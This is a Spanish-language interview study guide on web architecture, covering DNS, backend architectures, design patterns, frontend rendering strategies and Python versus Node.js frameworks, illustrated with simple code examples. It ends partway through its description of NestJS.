Guía de estudio · nivel entrevista técnica

Cómo se arma un sitio web, de punta a punta

Un resumen escrito como lo explicaría un senior a alguien que tiene entrevista la semana que viene. Qué arquitectura elegir, cuándo Python y cuándo Node.js, qué base de datos usar, cómo te atacan y cómo te defendés. Cada sección termina en algo que podés decir en voz alta.

# todo lo que sigue pasa entre que apretás Enter y ves la página GET https://shop.ejemplo.com/productos/42 HTTP/2 Host: shop.ejemplo.com Cookie: session=7f3a… # ← auth Accept: text/html
Capítulo 01

El viaje de un request

La pregunta clásica es "¿qué pasa cuando escribís una URL en el navegador?". Si la contestás bien, ya demostraste que entendés redes, servidores y bases de datos en dos minutos.

  1. Resolución DNSEl navegador traduce shop.ejemplo.com a una IP. Revisa caché del navegador, del sistema operativo, del router y después pregunta al resolver.
  2. Conexión TCPHandshake de 3 pasos (SYN, SYN-ACK, ACK) contra la IP en el puerto 443. Con HTTP/3 se usa QUIC sobre UDP.
  3. TLSSe negocia el cifrado, el servidor muestra su certificado y el navegador valida que lo firmó una CA confiable.
  4. CDN / Load balancerSi el recurso está en caché del CDN, responde ahí. Si no, el balanceador elige un servidor sano.
  5. Servidor de aplicaciónMiddleware (auth, logs, rate limit), router, controlador, lógica de negocio.
  6. DatosPrimero caché (Redis). Si no está, consulta a la base de datos y guarda el resultado.
  7. RespuestaHTML/JSON con status code y headers (cache, seguridad). El navegador parsea, pide CSS/JS/imágenes y pinta.
Capítulo 02

DNS: la guía telefónica de internet

DNS (Domain Name System) traduce nombres legibles como google.com a direcciones IP como 142.250.79.46. Es un sistema distribuido y jerárquico con caché en cada nivel.

Cómo se resuelve un nombre

Tu máquina le pregunta a un resolver recursivo (el de tu ISP, o 1.1.1.1 de Cloudflare, o 8.8.8.8 de Google). Si no lo tiene en caché, el resolver hace el recorrido:

Quién respondeQué sabeEjemplo de respuesta
Root server (13 nombres, cientos de servidores anycast)Dónde están los servidores de cada TLD"Para .com preguntá a a.gtld-servers.net"
Servidor TLD (.com, .ar, .io)Qué nameservers son autoritativos para cada dominio"ejemplo.com lo maneja ns1.cloudflare.com"
Nameserver autoritativoLos registros reales del dominio"shop.ejemplo.com → A 203.0.113.10, TTL 300"
RegistroPara qué sirveEjemplo
ANombre → IPv4ejemplo.com A 203.0.113.10
AAAANombre → IPv6ejemplo.com AAAA 2001:db8::1
CNAMEAlias a otro nombre (no se puede usar en el dominio raíz)www CNAME ejemplo.com
MXServidores de mail, con prioridadMX 10 mail.ejemplo.com
TXTTexto libre: verificación de dominio, SPF, DKIM, DMARCv=spf1 include:_spf.google.com ~all
NSQué servidores son autoritativos para la zonaNS ns1.cloudflare.com
CAAQué autoridades pueden emitir certificadosCAA 0 issue "letsencrypt.org"

TTL (time to live) dice cuántos segundos se puede cachear una respuesta. TTL bajo (60–300 s) permite cambiar de servidor rápido; TTL alto reduce consultas. Antes de una migración se baja el TTL con días de anticipación.

DNS y rendimiento: los CDN usan DNS con anycast o geolocalización para devolverte la IP del nodo más cercano. Los balanceadores globales también se apoyan en DNS.

DNS y seguridad: el DNS clásico viaja sin cifrar por UDP 53. Los ataques más comunes son DNS spoofing / cache poisoning (inyectar respuestas falsas en la caché del resolver) y el secuestro del dominio en el registrador. Las defensas son DNSSEC (firma las respuestas), DoH/DoT (DNS sobre HTTPS/TLS, cifra la consulta) y 2FA + bloqueo de transferencia en el registrador.

# comandos para mostrar en una entrevista
dig ejemplo.com A +short        # IP
dig ejemplo.com +trace           # recorrido root → TLD → autoritativo
nslookup -type=MX ejemplo.com   # servidores de mail
Capítulo 03

Arquitecturas de backend

No hay una arquitectura "mejor". Hay trade-offs entre velocidad de desarrollo, costo operativo, escalabilidad y tamaño del equipo. En la entrevista, siempre justificá con el contexto: usuarios, equipo, presupuesto, plazos.

el punto de partida correcto para casi todos

Monolito

Una sola aplicación y un solo deploy con todo adentro: UI o API, lógica y acceso a datos. Django, Rails, Laravel, NestJS o Express "todo en uno".

Explicado fácil: un restaurante con una sola cocina donde se hace todo: entradas, platos y postres. Fácil de manejar. Si se rompe el horno, no sale nada.

A favor
  • Simple de desarrollar y debuggear
  • Un deploy, transacciones fáciles
  • Barato
En contra
  • Escala como un bloque
  • Con equipos grandes, conflictos
  • Un bug puede tirar todo

Usalo cuando: MVP, startup, equipo de 1 a 15 devs, dominio que todavía cambia.

lo que recomienda un senior hoy

Monolito modular

Un solo deploy, pero dividido internamente en módulos con límites claros (usuarios, pagos, catálogo) que solo se hablan por interfaces públicas.

Explicado fácil: la misma cocina única, pero dividida en estaciones con su propio cocinero (pastas, parrilla, postres) que se pasan los platos por una ventanilla. Si mañana querés mudar la parrilla a otro local, ya está separada.

A favor
  • Orden sin costo de red
  • Fácil extraer un servicio después
En contra
  • Requiere disciplina
  • Sigue siendo un deploy

Usalo cuando: el producto crece y querés prepararte para microservicios sin pagar su costo todavía.

escala organizacional, no solo técnica

Microservicios

Muchos servicios chicos, cada uno con su propia base de datos y su deploy, que se comunican por HTTP/gRPC o eventos.

Explicado fácil: un patio de comidas: cada local es independiente, tiene su cocina, su caja y su personal. Si se cae la pizzería, el resto sigue vendiendo. Pero coordinar un combo entre tres locales es más complicado.

A favor
  • Equipos autónomos
  • Escalás solo lo que lo necesita
  • Cada servicio en su lenguaje
En contra
  • Complejidad de red, latencia
  • Transacciones distribuidas (sagas)
  • Observabilidad obligatoria

Usalo cuando: muchos equipos trabajan sobre el mismo producto y el monolito ya frena los deploys.

pagás por ejecución

Serverless

Funciones que corren ante un evento (request HTTP, archivo subido, cron). AWS Lambda, Vercel Functions, Cloudflare Workers, Google Cloud Functions.

Explicado fácil: en vez de tener tu cocina, pedís un cocinero por delivery cada vez que llega un cliente. Si no viene nadie, no pagás nada. Si vienen mil, te mandan mil. El primero puede tardar un poco en llegar (cold start).

A favor
  • Cero servidores que mantener
  • Escala automática a cero y a mil
  • Barato con tráfico irregular
En contra
  • Cold starts
  • Límites de tiempo y memoria
  • Conexiones a DB necesitan pooling

Usalo cuando: tráfico variable, webhooks, tareas puntuales, landings con API chica.

desacoplar con eventos

Event-driven

Los componentes publican eventos ("pedido_creado") en un broker (Kafka, RabbitMQ, SQS) y otros los consumen sin conocerse entre sí.

Explicado fácil: una cocina con comandas colgadas en un riel. El mozo cuelga "pedido mesa 4" y se va; la parrilla, la caja y el que arma el ticket la ven y cada uno hace su parte, sin hablar entre ellos.

A favor
  • Desacople total
  • Absorbe picos
  • Fácil agregar consumidores
En contra
  • Consistencia eventual
  • Difícil seguir el flujo
  • Hay que manejar duplicados

Usalo cuando: procesos asíncronos (mails, facturación, notificaciones), integraciones entre sistemas.

patrones de organización del código

Capas / Hexagonal / Clean

No definen cómo se despliega, sino cómo se ordena el código. En capas: controlador → servicio → repositorio. Hexagonal: el dominio en el centro y la DB, HTTP o colas como "adaptadores" intercambiables. Ver hexagonal en detalle.

Explicado fácil: la receta (lógica de negocio) no depende de qué horno uses. Hoy cocinás con gas, mañana con eléctrico, y la receta no cambia. En código: hoy Postgres, mañana Mongo, y la lógica sigue igual.

A favor
  • Lógica testeable sin DB
  • Cambiar de proveedor es barato
En contra
  • Más archivos y abstracciones
  • Excesivo para un CRUD

Usalo cuando: la lógica de negocio es rica y va a vivir años.

un backend por cada cliente

BFF (Backend for Frontend)

Una capa de API pensada para un frontend específico (web, mobile) que agrega y adapta datos de varios servicios internos.

Explicado fácil: un mozo distinto para el salón y otro para el delivery. Los dos piden a la misma cocina, pero cada uno arma la entrega como la necesita su cliente.

A favor
  • Respuestas a medida de cada pantalla
  • Menos requests desde mobile
En contra
  • Lógica duplicada entre BFFs

Usalo cuando: web y app mobile necesitan datos muy distintos del mismo backend.

tiempo real

Real-time (WebSockets / SSE)

Conexión persistente para empujar datos al cliente: chats, dashboards en vivo, juegos, streaming de respuestas de IA.

Explicado fácil: en vez de que el cliente pregunte cada 5 segundos "¿ya está mi pedido?", queda una línea telefónica abierta y la cocina avisa apenas está. Es lo que usa WhatsApp Web.

A favor
  • Latencia mínima
  • Sin polling
En contra
  • Conexiones con estado, más difícil escalar
  • Necesita pub/sub (Redis) entre nodos

Usalo cuando: el usuario necesita ver cambios al instante. Node.js brilla acá.

Frase para la entrevista: "Arrancaría con un monolito modular bien separado, stateless para poder escalar horizontalmente, y extraería servicios solo cuando un módulo tenga necesidades de escala o un equipo propio."

Capítulo 04

Patrones de diseño vs patrones de arquitectura

Son dos categorías distintas de "soluciones probadas". La diferencia es el alcance: cuánto del sistema organizan. Usar patrones de diseño no es hacer arquitectura, pero los dos se usan juntos.

Explicado fácil, con una ciudad: los patrones de arquitectura son cómo se organiza la ciudad: zona residencial acá, comercial allá, avenidas que las conectan. Los patrones de diseño son cómo se construye cada cosa adentro: una escalera, una puerta, la instalación eléctrica.

Patrones de diseñoPatrones de arquitectura
AlcanceUna parte del código: unas pocas clases o funcionesTodo el sistema o una aplicación entera
Qué resuelven"¿Cómo creo este objeto?", "¿cómo aviso cuando algo cambia?""¿Cómo divido la aplicación?", "¿cómo se comunican las partes?"
Costo de cambiarlosBajo: refactorizás un archivo o un móduloAlto: rehacés gran parte del sistema
Quién decideCada desarrollador mientras programaEl equipo o el tech lead al empezar el proyecto
EjemplosSingleton, Factory, Observer, Strategy, Adapter, DecoratorMVC, capas, hexagonal, CQRS, microservicios, event-driven

Patrones de arquitectura

Organizan la aplicación entera. Microservicios y event-driven ya están en el capítulo de arquitecturas. Acá van los que más aparecen en entrevistas, incluida la hexagonal en detalle.

el más preguntado

MVC (Modelo, Vista, Controlador)

Separa la app en tres partes. El Modelo maneja los datos y las reglas. La Vista es lo que ve el usuario. El Controlador recibe la acción del usuario, le pide cosas al modelo y elige qué vista mostrar.

Explicado fácil: en un restaurante, el mozo es el controlador (toma tu pedido), la cocina es el modelo (prepara la comida con sus recetas) y el plato servido es la vista (lo que ves).

Lo usan: Django (lo llama MVT), Rails, Laravel, Spring MVC, NestJS con controladores y servicios.

el más común en backends

Arquitectura en capas

El código se apila en capas y cada una solo habla con la de abajo: presentación (rutas, controladores) → negocio (servicios, reglas) → datos (repositorios, base de datos).

Explicado fácil: un edificio por pisos. En planta baja atienden al público, en el primer piso están los que deciden, en el subsuelo está el archivo. El de planta baja nunca baja directo al archivo: le pide al de arriba.

Ejemplo: POST /pedidos → PedidosController → PedidosService.crear() valida stock → PedidosRepository.guardar().

puertos y adaptadores · también llamada Clean u Onion

Arquitectura hexagonal

En el centro está la lógica de negocio (el dominio), que no sabe nada de frameworks, bases de datos ni HTTP. El dominio define puertos: interfaces que dicen qué necesita ("guardar un pedido", "cobrar un monto"). Cada tecnología concreta es un adaptador que se enchufa en un puerto: un repositorio de Postgres, la integración con Mercado Pago, un controlador HTTP, un comando de consola o un falso para tests.

Explicado fácil: la instalación eléctrica de tu casa tiene enchufes (los puertos). Podés enchufar una lámpara, un cargador o una tostadora (los adaptadores). Cambiar la tostadora no te obliga a rehacer la instalación. En código: cambiar Mercado Pago por Stripe, o Postgres por Mongo, no toca la lógica de negocio.

Puerto, dominio y dos adaptadores (TypeScript)
// PUERTO: lo define el dominio, es solo un contrato
interface Pagos {
  cobrar(monto: number): Promise<string>;
}

// DOMINIO: no sabe quién cobra de verdad
class Checkout {
  constructor(private pagos: Pagos) {}
  async pagar(total: number) {
    if (total <= 0) throw new Error("Total inválido");
    return this.pagos.cobrar(total);
  }
}

// ADAPTADORES: se enchufan al puerto
class MercadoPagoAdapter implements Pagos { /* llama a la API real */ }
class PagosFalsos implements Pagos {
  async cobrar() { return "ok-test"; }
}

new Checkout(new MercadoPagoAdapter()); // producción
new Checkout(new PagosFalsos());       // tests, sin cobrar nada
Capas vs hexagonal
En capasHexagonal
DependenciasDe arriba hacia abajo: el negocio depende de la base de datosHacia el centro: la base de datos depende del dominio
Cambiar la DBToca la capa de negocioEscribís otro adaptador
TestsSuelen necesitar DBLógica testeable con adaptadores falsos
ComplejidadBajaMás interfaces y archivos

No tiene que ser un "dominio" de empresa

"Dominio" es solo el nombre del núcleo de tu aplicación, sea cual sea. La regla siempre es la misma: el centro no conoce las herramientas de afuera, solo los puertos que él mismo define. Tres ejemplos que no son de negocio:

ejemplo 1

Sistema de notificaciones

Centro
Cuando un pedido se despacha, avisarle al cliente por su canal preferido.
Entrada
Webhook HTTP, consumidor de una cola, cron.
Salida
Puerto Notificador.enviar() con adaptadores para WhatsApp, email, SMS, push o un falso que imprime en consola.

Cambiás de proveedor de SMS escribiendo otro adaptador. El centro no se toca.

ejemplo 2

Conversor de imágenes

Centro
Redimensionar a 3 tamaños y ponerle marca de agua.
Entrada
Una API, una CLI o un evento de "archivo subido" en S3.
Salida
Puerto Almacen.guardar() con adaptadores para disco local, S3 o Cloudflare R2.

En tu compu guarda en disco; en producción, en la nube. Mismo código central.

ejemplo 3

Un juego de ajedrez

Centro
Las reglas: movimientos válidos, jaque, jaque mate.
Entrada
Mouse en la web, touch en el celular, o una IA que juega sola.
Salida
Dibujar en canvas, dibujar en la terminal, guardar la partida en una base de datos.

Las mismas reglas funcionan en web, mobile y terminal sin cambiar una línea.

Frase para la entrevista: "Hexagonal no depende del tipo de negocio. Aísla el núcleo de la aplicación, sea cual sea, de los detalles técnicos: base de datos, frameworks, proveedores o interfaz. A ese núcleo se le dice dominio, pero puede ser cualquier lógica."

Usalo cuando: la lógica de negocio es importante y va a vivir años (pagos, seguros, logística), o cuando sabés que vas a cambiar proveedores. Evitalo en un CRUD simple: agrega abstracciones que no pagan.

lecturas y escrituras separadas

CQRS

Command Query Responsibility Segregation: un modelo para escribir (comandos: crear, modificar) y otro distinto para leer (consultas), muchas veces con bases de datos diferentes.

Explicado fácil: en un banco hay una ventanilla para depositar y otra para consultar el saldo. Cada una está optimizada para lo suyo y no se traban entre sí.

Usalo cuando: las lecturas son muchísimas más que las escrituras, o necesitan otra forma (un dashboard que lee de una tabla ya resumida).

frontend

Flux / store único

Todo el estado de la app vive en un solo lugar (el store). Los componentes no se modifican entre sí: disparan acciones, el store cambia y la vista se vuelve a dibujar.

Explicado fácil: un pizarrón central en la oficina. Nadie se pasa papelitos: todos escriben y leen del pizarrón, así nadie queda desactualizado.

Lo usan: Redux, Zustand, Pinia. También MVVM en Angular, Vue y apps mobile.

Patrones de diseño

Vienen del libro Design Patterns (1994) de los "Gang of Four". Se dividen en tres familias: creacionales (cómo se crean objetos), estructurales (cómo se combinan) y de comportamiento (cómo se comunican). Estos son los que vas a ver en código web todos los días.

creacional

Singleton

Garantiza que exista una sola instancia de algo en toda la app.

Explicado fácil: el presidente de un país: hay uno solo y todos le hablan al mismo.

En web: el pool de conexiones a la base de datos o el cliente de Prisma. Si creás uno por request, agotás las conexiones.

creacional

Factory

Una función que crea el objeto correcto según un dato, sin que quien la llama sepa cuál clase exacta se usa.

Explicado fácil: pedís "una bebida fría" y la máquina decide si te da agua, gaseosa o jugo según el botón.

En web: crearPasarela("mercadopago") devuelve la integración de Mercado Pago; con "stripe", la de Stripe.

creacional

Builder

Arma un objeto complejo paso a paso, encadenando métodos.

Explicado fácil: armar un sándwich en Subway: elegís pan, después el relleno, después los aderezos.

En web: los query builders: db.select().from(users).where(...).limit(10) en Drizzle o Knex.

estructural

Adapter

Hace que dos cosas incompatibles puedan trabajar juntas, traduciendo una interfaz a otra.

Explicado fácil: el adaptador de enchufe que usás cuando viajás a otro país.

En web: una API vieja devuelve first_name y tu app usa nombre. Un adapter traduce las respuestas para que el resto del código no se entere.

estructural

Decorator

Le agrega comportamiento a una función u objeto sin modificar su código.

Explicado fácil: ponerle funda a un celular: sigue siendo el mismo celular, pero ahora además está protegido.

En web: @app.get("/") en FastAPI o @login_required en Django: envuelven tu función para registrarla como ruta o exigir login.

estructural

Facade

Una interfaz simple que esconde un sistema complicado detrás.

Explicado fácil: el botón de encendido de la compu. Apretás uno y por detrás arrancan decenas de procesos.

En web: checkout.pagar(carrito) que por dentro valida stock, cobra, genera la factura y manda el mail.

comportamiento

Observer

Un objeto avisa automáticamente a todos los que se suscribieron cuando algo cambia.

Explicado fácil: suscribirte a un canal de YouTube: cuando sube un video, te llega la notificación sin que tengas que entrar a mirar.

En web: addEventListener, el EventEmitter de Node, los stores de React, los signals de Django.

comportamiento

Strategy

Tenés varias formas de hacer lo mismo y elegís cuál usar en el momento, sin llenar el código de if.

Explicado fácil: para llegar al trabajo podés ir en auto, colectivo o bici. El destino es el mismo, cambia la estrategia.

En web: calcular el envío (estándar, express, retiro en local) o las estrategias de login en Passport.js.

comportamiento

Chain of Responsibility (middleware)

Un pedido pasa por una cadena de manejadores; cada uno hace su parte y decide si lo pasa al siguiente o lo corta.

Explicado fácil: los controles de un aeropuerto: check-in, migraciones, seguridad. Si uno te frena, no llegás al avión.

En web: el middleware de Express o FastAPI: logs → CORS → autenticación → rate limit → tu ruta.

principio muy usado

Inyección de dependencias

Una clase no crea lo que necesita: se lo pasan desde afuera. Así podés cambiarlo o reemplazarlo en los tests.

Explicado fácil: un cocinero que no sale a comprar los ingredientes: se los traen. Si mañana cambiás de proveedor, el cocinero no se entera.

En web: Depends() en FastAPI, los constructores de NestJS, Spring en Java.

acceso a datos

Repository

Una clase que esconde cómo se guardan los datos. El resto del código pide usuarios.buscarPorEmail() sin saber si atrás hay SQL, Mongo o una API.

Explicado fácil: el bibliotecario: le pedís un libro y te lo trae; no te importa en qué estante estaba.

En web: la capa de datos en arquitectura en capas y hexagonal; los repositorios de TypeORM y Spring Data.

Strategy en TypeScript: sin un if por cada tipo de envío
const envios = {
  estandar: (kg) => 1500 + kg * 200,
  express:  (kg) => 3500 + kg * 400,
  retiro:   ()   => 0,
};

function costoEnvio(tipo, kg) {
  return envios[tipo](kg);  // elegís la estrategia
}

costoEnvio("express", 2); // 4300
// agregar "moto" = una línea nueva, sin tocar costoEnvio
Decorator en Python: medir cuánto tarda cualquier función
import time

def medir(funcion):
    def envoltura(*args):
        inicio = time.time()
        resultado = funcion(*args)
        print(f"{funcion.__name__}: {time.time()-inicio:.2f}s")
        return resultado
    return envoltura

@medir                   # le agrega la medición
def generar_reporte():   # sin cambiar su código
    ...

Cómo se combinan: una API en NestJS usa arquitectura en capas (patrón de arquitectura). Adentro, el servicio recibe el repositorio por inyección de dependencias, cada request pasa por middleware, el cliente de la base es un Singleton y el cálculo de envío usa Strategy (patrones de diseño).

Frase para la entrevista: "Los patrones de diseño resuelven problemas locales del código, como crear objetos o reaccionar a cambios. Los patrones de arquitectura definen la estructura de todo el sistema. Uso patrones cuando resuelven un problema real que tengo, no para agregar abstracciones porque sí."

Capítulo 05

Cómo se renderiza el frontend

La otra mitad de la arquitectura: dónde y cuándo se genera el HTML. Afecta SEO, velocidad de carga y costo de servidor.

Explicado con un restaurante

Pensá que la página web es un plato de comida y el navegador es el cliente. Todas estas siglas responden la misma pregunta: ¿quién cocina el plato y en qué momento?

CSR · Client-Side Rendering

SPA: cocinás vos en la mesa

El servidor te manda una página casi vacía más un paquete de JavaScript. Tu navegador "cocina" la página: pide los datos a la API y arma el HTML.

Ejemplo: Gmail o un panel de administración. Al entrar ves un spinner un segundo y después todo es fluido, porque al navegar no se recarga la página.

Problema: Google, o WhatsApp cuando previsualiza un link, al principio ven una página vacía. Malo para SEO.

SSR · Server-Side Rendering

SSR: el cocinero cocina cuando pedís

En cada visita, el servidor busca los datos, arma el HTML completo y te lo manda listo para mostrar.

Ejemplo: la página de resultados de una búsqueda, o un perfil con datos que cambian todo el tiempo. Siempre ves lo último.

Problema: cada visita gasta servidor. Con mucho tráfico cuesta más y la respuesta tarda un poco más.

SSG · Static Site Generation

SSG: viandas preparadas a la mañana

Cuando hacés el deploy (el "build"), se generan todas las páginas como archivos HTML y se suben a un CDN. Nadie cocina en el momento.

Ejemplo: un blog o la landing de una empresa. Se sirve instantáneo y casi gratis.

Problema: si cambiás un texto hay que volver a hacer build y deploy. Con 100.000 productos el build tarda horas.

ISR, paso a paso

ISR (Incremental Static Regeneration) mezcla SSG y SSR: las páginas son estáticas (rápidas, servidas desde caché), pero se regeneran solas cada cierto tiempo, sin rebuild ni deploy.

Siguiendo con el restaurante: son viandas preparadas con fecha de vencimiento. Cuando una vence, se le sigue entregando al próximo cliente mientras el cocinero prepara una nueva, y a partir de ahí se entrega la nueva.

Ejemplo con la página de un producto configurada con revalidate = 60 (60 segundos):

  1. 10:00:00Primera visita a /productos/42. Se genera el HTML con precio $100 y se guarda en caché.
  2. 10:00:20El admin cambia el precio a $120 en la base de datos.
  3. 10:00:40Entra otra persona y ve $100, servido desde caché en milisegundos. La página todavía no venció.
  4. 10:01:05Ya pasaron más de 60 s. El siguiente visitante igual ve $100 (no lo hacen esperar), pero su visita dispara la regeneración en segundo plano.
  5. 10:01:06Todos los visitantes que vienen después ven $120.

Esa técnica se llama stale-while-revalidate: servir la versión vieja mientras se prepara la nueva. Si no querés esperar el minuto, usás revalidación a demanda: cuando el admin guarda el producto, el backend llama a revalidatePath('/productos/42') y la página se regenera en ese momento.

¿Para qué sirve? Un e-commerce con 50.000 productos no puede generarlos todos en el build (tardaría horas) ni pagar SSR en cada visita. Con ISR, cada página se genera la primera vez que alguien la visita y después se sirve desde caché.

// app/productos/[id]/page.tsx  (Next.js)
export const revalidate = 60; // regenerar como máximo cada 60 s

export default async function Producto({ params }) {
  const { id } = await params;
  const p = await getProducto(id);   // consulta a la base de datos
  return <h1>{p.nombre}: ${p.precio}</h1>;
}
Islands / React Server Components

Islands: plato listo con un par de extras en vivo

Casi toda la página llega como HTML estático, sin JavaScript. Solo algunas "islas" interactivas (el carrito, el buscador, un carrusel) cargan JS.

Ejemplo: la nota de un diario. El texto es estático y solo el botón de "me gusta" y los comentarios son interactivos. Carga mucho más rápido en celulares.

HTMX / server-driven

HTMX: el mozo trae solo lo que cambió

En vez de recargar la página entera o usar React, el servidor devuelve pedacitos de HTML que reemplazan una parte de la pantalla.

Ejemplo: apretás "cargar más comentarios" y el servidor (Django, FastAPI) te devuelve solo el HTML de los 10 comentarios nuevos.

Resumen para comparar

EstrategiaDónde se genera el HTMLBueno paraCuidado conHerramientas
SPA / CSREn el navegador, con JSDashboards, apps detrás de loginSEO pobre, carga inicial lentaReact + Vite, Vue, Angular
SSREn el servidor, en cada requestContenido dinámico con SEO (e-commerce, perfiles)Costo de servidor, TTFBNext.js, Nuxt, Remix, Django templates
SSGEn el build, una vezBlogs, docs, landingsRebuild para cada cambioAstro, Next.js, Hugo
ISREstático, se regenera cada N segundos o a demandaCatálogos grandes que cambian pocoContenido levemente desactualizadoNext.js, Nuxt, Astro en Vercel
Islands / RSCServidor por defecto, JS solo en componentes interactivosSitios de contenido con partes interactivasModelo mental nuevoAstro, React Server Components
Server-driven (HTMX)Servidor devuelve fragmentos HTMLBackends Python/Go sin SPAInteracciones complejasHTMX + Django/FastAPI
Capítulo 06

Python vs Node.js

Los dos sirven para casi cualquier backend web. La diferencia real está en el modelo de concurrencia, el ecosistema y lo que ya sabe tu equipo.

Python CPython 3.13 · WSGI / ASGI

Concurrencia
Históricamente sincrónico, un request por worker (Gunicorn). Con asyncio y ASGI (Uvicorn) maneja I/O concurrente. El GIL impide que dos hilos ejecuten Python a la vez; para CPU se usan procesos. Desde 3.13 hay un build experimental sin GIL.
Frameworks
Django: todo incluido (ORM, admin, auth, migraciones). FastAPI: APIs async con tipado y docs OpenAPI automáticas. Flask: mínimo, armás vos.
Fuerte en
Data, machine learning e IA (pandas, NumPy, PyTorch, LangChain), scraping, scripts, automatización, backoffices con Django Admin.
Tareas async
Celery o RQ con Redis/RabbitMQ.
ORMs
Django ORM, SQLAlchemy, SQLModel; Alembic para migraciones.

Elegí Python si: el producto tiene IA o análisis de datos en el centro, necesitás un admin rápido, o el equipo viene de data science.

Node.js V8 · event loop · Node 24 LTS

Concurrencia
Un solo hilo con event loop e I/O no bloqueante (libuv). Miles de conexiones simultáneas con poca memoria. Una operación pesada de CPU bloquea a todos: se mueve a worker_threads o a otro servicio.
Frameworks
Express: minimalista, el más usado. Fastify: más rápido, con schemas. NestJS: estructurado tipo Angular/Spring, ideal para equipos grandes. Next.js: fullstack con React. Hono: liviano, corre en edge.
Fuerte en
APIs con mucho I/O, tiempo real (Socket.IO), BFFs, fullstack con un solo lenguaje (TypeScript en front y back), serverless.
Tareas async
BullMQ con Redis, o colas gestionadas (SQS).
ORMs
Prisma, Drizzle, TypeORM, Sequelize; Mongoose para MongoDB.

Elegí Node si: hay tiempo real, el equipo es fuerte en JS/TS, querés compartir tipos entre front y back, o vas a serverless.

Explicado fácil: Node.js es un mozo que atiende todas las mesas. Toma un pedido, lo deja en la cocina y no se queda esperando: va a la siguiente mesa. Por eso atiende a muchísima gente con una sola persona. Pero si un cliente le pide que pele 100 papas (un cálculo pesado), deja a todos los demás sin atender. Python clásico (Gunicorn) tiene varios mozos, cada uno atiende una mesa por vez y espera en la cocina. Con async (FastAPI), los mozos de Python también aprenden a no quedarse esperando.

¿Qué es FastAPI? Python · 2018 · creado por Sebastián Ramírez

FastAPI es un framework de Python para construir APIs: backends que reciben requests y devuelven JSON a un frontend (React, una app mobile u otro servicio). Está construido sobre dos librerías: Starlette (la parte web y async) y Pydantic (la validación de datos). Se volvió el estándar para APIs nuevas en Python, sobre todo en proyectos con IA.

Comparación fácil: Django es una casa amueblada: trae todo (base de datos, panel de admin, login, páginas HTML). Flask es un terreno vacío: construís vos cada cosa. FastAPI es un departamento moderno pensado para APIs: no trae admin ni ORM, pero lo que trae está muy bien resuelto.

Tipos = validación
Escribís precio: float y FastAPI valida solo. Si alguien manda "precio": "abc", responde automáticamente 422 explicando qué campo está mal. No escribís ni un if.
Docs automáticas
Entrás a /docs y tenés una página (Swagger UI) con todos tus endpoints para probarlos desde el navegador. Ideal para que el equipo de frontend sepa qué mandar.
Async
Con async def, mientras espera la base de datos o una API externa atiende otros requests. Corre sobre Uvicorn, un servidor ASGI. Es de los frameworks más rápidos de Python.
Dependencias
Con Depends() declarás cosas que cada endpoint necesita (el usuario logueado, la conexión a la DB) y FastAPI las resuelve antes de ejecutar tu función.
Usalo para
APIs para un frontend o app mobile, microservicios, servir modelos de machine learning o IA, cuando querés tipado y documentación sin esfuerzo.
Mejor Django si
Necesitás panel de admin, login y páginas HTML listas desde el día uno.
# main.py
from fastapi import FastAPI, Depends, HTTPException

app = FastAPI()

@app.get("/productos/{id}")
async def ver_producto(id: int, user = Depends(usuario_actual)):
    # si id no es número → 422 automático
    # si no hay sesión → usuario_actual corta con 401
    p = await buscar_producto(id)
    if not p:
        raise HTTPException(404, "Producto no encontrado")
    return p   # se convierte a JSON solo

# Probarlo:
# pip install "fastapi[standard]"
# fastapi dev main.py   → abrí http://127.0.0.1:8000/docs

Frameworks explicados fácil

Un framework es una estructura ya armada donde ponés tu código. Te resuelve lo que todas las apps web necesitan (recibir requests, rutas, leer datos, responder) para que vos te ocupes solo de lo tuyo.

Explicado fácil: construir sin framework es hacer una casa ladrillo por ladrillo. Con un framework te dan la estructura con cañerías y electricidad, y vos elegís los muebles. Librería vs framework: una librería es una herramienta que vos usás cuando querés, como un taladro. Un framework es la casa: vos ponés tu código donde te indica y él decide cuándo llamarlo.

En los ejemplos de abajo, todos hacen lo mismo: una ruta que responde un JSON. Así se ve la diferencia de estilo.

Python

trae todo incluido

Django

El framework "completo": base de datos (ORM), migraciones, login de usuarios, panel de administración, formularios y seguridad, todo listo desde el día uno.

Explicado fácil: una casa amueblada. Te mudás y ya tenés cama, heladera y cocina. Si querés cambiar algo, podés, pero la mayoría de las cosas ya están resueltas.

# views.py
def productos(request):
    datos = list(Producto.objects.values("nombre", "precio"))
    return JsonResponse(datos, safe=False)

# urls.py
path("productos/", productos)

Usalo para: e-commerce, backoffices, sistemas con usuarios y panel de admin. Instagram arrancó con Django.

mínimo, armás vos

Flask

Un framework chiquito: te da las rutas y poco más. La base de datos, el login y lo demás los agregás vos con extensiones.

Explicado fácil: un monoambiente vacío. Entrás rápido y lo decorás como quieras, pero cada mueble lo tenés que traer vos.

from flask import Flask
app = Flask(__name__)

@app.get("/hola")
def hola():
    return {"mensaje": "Hola"}

Usalo para: APIs chicas, prototipos, scripts que necesitan una web simple, aprender cómo funciona un backend.

APIs modernas con tipos

FastAPI

Pensado para hacer APIs rápido y bien: valida los datos con los tipos, genera la documentación sola en /docs y es async. Ver FastAPI en detalle.

Explicado fácil: un departamento moderno pensado para una sola cosa, hacer APIs. No trae panel de admin, pero lo que trae está muy bien hecho.

from fastapi import FastAPI
app = FastAPI()

@app.get("/hola/{nombre}")
async def hola(nombre: str):
    return {"mensaje": f"Hola {nombre}"}

Usalo para: APIs para un frontend o app mobile, microservicios, proyectos con IA o machine learning.

¿Cuál elijo en Python? Necesito todo resuelto y un panel de admin → Django. Necesito una API moderna → FastAPI. Es algo chico o estoy aprendiendo → Flask.

Node.js

el clásico, el más usado

Express

El framework más popular de Node. Muy simple: rutas y middlewares (funciones que se ejecutan en cadena antes de tu ruta). El resto lo agregás con paquetes de npm.

Explicado fácil: el Flask de Node. Una caja con lo justo, y como lo usa todo el mundo, hay un tutorial para cualquier cosa que quieras hacer.

import express from "express";
const app = express();

app.get("/hola", (req, res) => {
  res.json({ mensaje: "Hola" });
});

app.listen(3000);

Usalo para: APIs simples, aprender, proyectos donde querés control total.

Express, pero más rápido

Fastify

Muy parecido a Express, pero más rápido y con validación de datos incluida mediante schemas.

Explicado fácil: el mismo auto que Express, pero con mejor motor y con cinturón de seguridad de fábrica.

import Fastify from "fastify";
const app = Fastify();

app.get("/hola", async () => ({ mensaje: "Hola" }));

await app.listen({ port: 3000 });

Usalo para: APIs con mucho tráfico donde importa el rendimiento.

ordenado, para equipos grandes

NestJS

Un framework con reglas claras: todo se organiza en módulos, controladores (reciben requests) y servicios (lógica). Usa TypeScript, decoradores e inyección de dependencias. Se parece a Angular o a Spring de Java.

